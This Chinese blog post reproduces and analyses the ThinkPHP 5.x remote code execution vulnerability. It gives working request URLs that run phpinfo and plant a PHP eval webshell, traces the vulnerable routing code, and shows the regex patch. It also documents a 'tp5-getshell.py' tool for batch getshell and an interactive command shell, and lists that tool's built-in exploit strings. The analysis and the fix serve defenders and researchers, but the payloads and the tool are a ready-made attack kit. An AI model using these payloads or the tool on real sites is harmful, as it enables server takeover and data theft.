内容简介:近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。5.x < 5.1.31
0x00 概述
近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。
0x01 影响范围
5.x < 5.1.31
5.x <= 5.0.23
以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等
0x02 漏洞重现
win7+thinkphp5.1.24
(1)执行phpinfo
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
debian+thinkphp5.1.30
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
win7+thinkphp5.0.16
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
0x03 修复方案
- 直接git/composer更新
- 手工修复
5.1版本
在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
5.0版本
在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
如果改完后404,尝试修改正则,加上\/
0x04 漏洞分析
Thinkphp5.1.24:
先看补丁:
对controller添加了过滤
查看路由调度:
Module.php:83
public function exec() { // 监听module_init $this->app['hook']->listen('module_init'); try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } ...... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data); });
$instance = $this->app->controller
实例化控制器以调用其中的方法
查看controller方法
App.php:719
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } throw new ClassNotFoundException('class not exists:' . $class, $class); }
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
parseModuleAndClass解析$name为模块和类,再实例化类
查看该方法,第640行
protected function parseModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; }
可以看出如果$name包含了\,就
$class = $name;
$module = $this->request->module();
……
return [$module, $class];
直接将$name作为类名了,而命名空间就含有\,所以可以利用命名空间来实例化任意一个类
现在看看如何控制$name,即$controller。
查看路由解析,即如何解析url的
Url.php:37
protected function parseUrl($url) { $depr = $this->rule->getConfig('pathinfo_depr'); $bind = $this->rule->getRouter()->getBind(); if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) { $bind = str_replace('/', $depr, $bind); // 如果有模块/控制器绑定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } list($path, $var) = $this->rule->parseUrlPath($url); if (empty($path)) { return [null, null, null]; }
list($path, $var) = $this->rule->parseUrlPath($url);
调用了parseUrlPath(),继续跟进
查看Rule.php:947
public function parseUrlPath($url) { // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 参数1=值1&参数2=值2... $path = []; parse_str($url, $var); } else { $path = [$url]; } return [$path, $var]; }
用/分割url获取每一部分的信息,未过滤
看看如何获取url:
Request.php:716
/** * 获取当前请求URL的pathinfo信息(不含URL后缀) * @access public * @return string */ public function path() { if (is_null($this->path)) { $suffix = $this->config['url_html_suffix']; $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止伪静态访问 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL后缀 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 允许任何后缀访问 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }
注意在该文件第31行
// PATHINFO变量名 用于兼容模式
‘var_pathinfo’ => ‘s’,
所以可以用pathinfo或s来传路由
//windows会将\替换成/,建议用s
接着分析一个写 shell 的exp
http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
调用了\think\template\driver\file这个类
class File { protected $cacheFile; /** * 写入编译缓存 * @access public * @param string $cacheFile 缓存的文件名 * @param string $content 缓存的内容 * @return void|array */ public function write($cacheFile, $content) { // 检测模板目录 $dir = dirname($cacheFile); if (!is_dir($dir)) { mkdir($dir, 0755, true); } // 生成模板缓存文件 if (false === file_put_contents($cacheFile, $content)) { throw new Exception('cache write error:' . $cacheFile, 11602); } }
就这样直接写入shell了
0x05 检测工具
项目地址:
使用帮助
python tp5-getshell.py -h
单url检测(poc)
使用4种poc检测
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/
单url检测(getshell)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
单url检测(命令行shell模式)
python tp5-getshell.py -u http://www.xxx.com/ –cmdshell
批量检测(getshell)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -f urls.txt -t 2 -s 10
/*
本 工具 内置payload
poc0 = ‘/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc1 = ‘/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc2 = ‘/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1’
poc3 = ‘/index.php?s=/index/\\think\\request/cache&key=1|phpinfo’
本工具内置exp
exp0 = ‘/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
exp1 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’
exp2 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\’>zxc2.php’
*/
欢迎反馈!
0x06 结语
很厉害的一个洞
0x07 参考资料
https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://blog.thinkphp.cn/869075
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ueditor getshell漏洞重现及分析
- ThinkPHP5 RCE漏洞重现及分析
- tomcat rce漏洞重现(cve-2019-0232)
- TradingView xss 0day 漏洞重现及分析
- Apache CVE-2017-7659 漏洞重现及利用分析
- 安全漏洞重现 分叉前夕的以太坊只想静一静”
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First HTML5 Programming
Eric Freeman、Elisabeth Robson / O'Reilly Media / 2011-10-18 / USD 49.99
What can HTML5 do for you? If you're a web developer looking to use this new version of HTML, you might be wondering how much has really changed. Head First HTML5 Programming introduces the key featur......一起来看看 《Head First HTML5 Programming》 这本书的介绍吧!